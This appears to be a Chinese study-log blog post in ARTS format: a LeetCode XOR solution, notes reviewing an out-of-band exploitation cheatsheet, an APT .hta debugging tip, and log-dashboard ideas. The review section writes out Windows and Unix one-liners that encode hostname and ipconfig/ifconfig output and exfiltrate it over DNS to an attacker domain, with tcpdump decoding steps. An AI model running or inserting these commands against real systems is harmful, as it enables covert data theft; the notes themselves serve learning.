ARTS:
- Algrothm: leetcode算法题目
- Review: 阅读并且点评一篇英文技术文章
- Tip/Techni: 学习一个技术技巧
- Share: 分享一篇有观点和思考的技术文章
Algorithm
Single Number
https://leetcode.com/problems/single-number/
1)problem
Given a non-empty array of integers, every element appears twice except for one. Find that single one.
Note:
Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?
Example 1:
Input: [2,2,1]
Output: 1
Example 2:
Input: [4,1,2,1,2]
Output: 4
2)answer
数组中其他数出现两次,仅有一个出现一次的。逐个字符进行异或来,当某个数字出现第二次时候数字就归为0。二进制计算逻辑如下:
二进制 异或 下一次的异或值 实际值
4 ==> 100 ==> 100 ^ 000 = 100 = 4
1 ==> 001 ==> 001 ^ 100 = 101 = 5
2 ==> 010 ==> 010 ^ 101 = 111 = 7
1 ==> 001 ==> 001 ^ 111 = 110 = 6
2 ==> 010 ==> 010 ^ 110 = 100 = 4
3)solution
Cpp:
#include <stdio.h>
#include <vector>
using std::vector;
class Solution {
public:
int singleNumber(vector<int>& nums) {
int aNum = 0;
for (int i = 0; i < nums.size(); i++) {
aNum ^= nums[i];
}
return aNum;
}
};
int main()
{
// 使用内容
Solution nSolution;
vector<int> nums;
nums.push_back(2);
nums.push_back(1);
nums.push_back(2);
nSolution.singleNumber(nums);
return 0;
}
Python:
class Solution(object):
def singleNumber(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
r_nums = 0
for num in nums:
r_nums ^= num
return r_nums
4)总结
Tips:按tags刷会比较有效率。
- String
https://leetcode.com/problemset/all/?topicSlugs=string
https://leetcode.com/problems/unique-email-addresses
https://leetcode.com/problems/to-lower-case
- HASH Tables
https://leetcode.com/problems/jewels-and-stones
https://leetcode.com/problems/single-number
Review
【WEB安全】out of band exploitation (oob) cheatsheet
https://www.exploit-db.com/docs/english/45370-out-of-band-exploitation-(oob)-cheatsheet.pdf
1)场景
OOB是一种确认和利用漏洞的方法。让容易受到攻击的实体生成出站请求(TCP/UDP/ICMP),由攻击者过滤数据。
而OOB攻击基于出口防火墙规则从受攻击的系统发出出站请求,所以防火墙不会拦截。
2)问题难点
文章中的演示是利用DNS协议进行传输数据的。
3)解决问题的方法
在受攻击的系统执行命令,把命令回显结果传回到攻击者的服务器上。对受攻击的系统执行指定命令通过DNS访问攻击者的服务器,攻击者将开启tcpdump抓包工具把原数据存储,在过滤还原出来。
4)方法细节
在攻击者服务器上运行TCPDUMP。接受数据原理:
tcpdump -n port 53
Windows:
受攻击机器:
nslookup test.oob.dnsattacker.com
Uinx:
host host.oob.dnsattacker.com
5)总结
- 获取主机名
Windows受攻击机器
cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3
&& set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"
攻击者:
echo “encoded output” |base64 -d # decode the output with base64
- 发送多行的显示结果
受攻击机器:
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=GetContent
output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){
$final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }" # Sending file inHEX
攻击者:
sudo tcpdump -n port 53 | tee file.txt
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f
2|tr -d '\n')" | xxd -r -p
Unix:
受攻击者:
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.file.oob.dnsattacker.com;done # Sending file in HEX
攻击者:
sudo tcpdump -n port 53 | tee file.txt
提取和构造输出:
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
Base64:
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# Sending file in base64
Tip
【逆向分析】某APT组织.net程序调试技巧
1)场景
某个APT组织的样本是通过.hta文件在内存中直接展开的。
2)问题难点
.HTA文件,解密在分析。工具少,时间长。
3)解决思路
查看mshta.exe是否在运行,使用OD附加这个进程。
4)方法细节
1、运行.hta文件,查看mshta.exe是否在运行,使用OD附加这个进程。
2、bp connect:对网络函数下断点,获取连接域名或IP的位置,拿到IOC。
5)总结
邮件发送的样本,打开附件的EXE释放会在temp临时目录内释放hta文件或者白签名的文件,打开pdf/word/ppt文件。
Share
【业务安全】应用日志分析需求
1)场景
针对主机存储的日志数据,通过这些分析报表来查看近期站点的流量趋势、洞察站点用户行为、用户地域属性等。
2)问题难点
图是从微信群里看到的,比起上周关注的业务点多了些许细节。
3)解决问题的方法
运营大盘:告警、趋势与分析
- 告警类:准时的展示、拦截;
- 趋势类:饼图、柱图、折线等等。一般以天或小时级别,观测整体的趋势,不适合细粒度分析但可从宏观侧面观测并找到可疑的方向;
- 观测分析类:也以各种饼图、柱图、折线为主,但会比趋势类的展示在某些维度的粒度更细,例如,5-10分钟级别,甚至按地域和用户细分,等等。一方面,用于在可疑方向上进一步确定问题,给分析人员指向原始数据内的分析方向;另一方面,也可在不那么微观、但也不那么宏观的层面上,通过流动性的走势发现一些在原始数据和宏观数据里都无法发现的问题。
4)方法细节
5)总结
无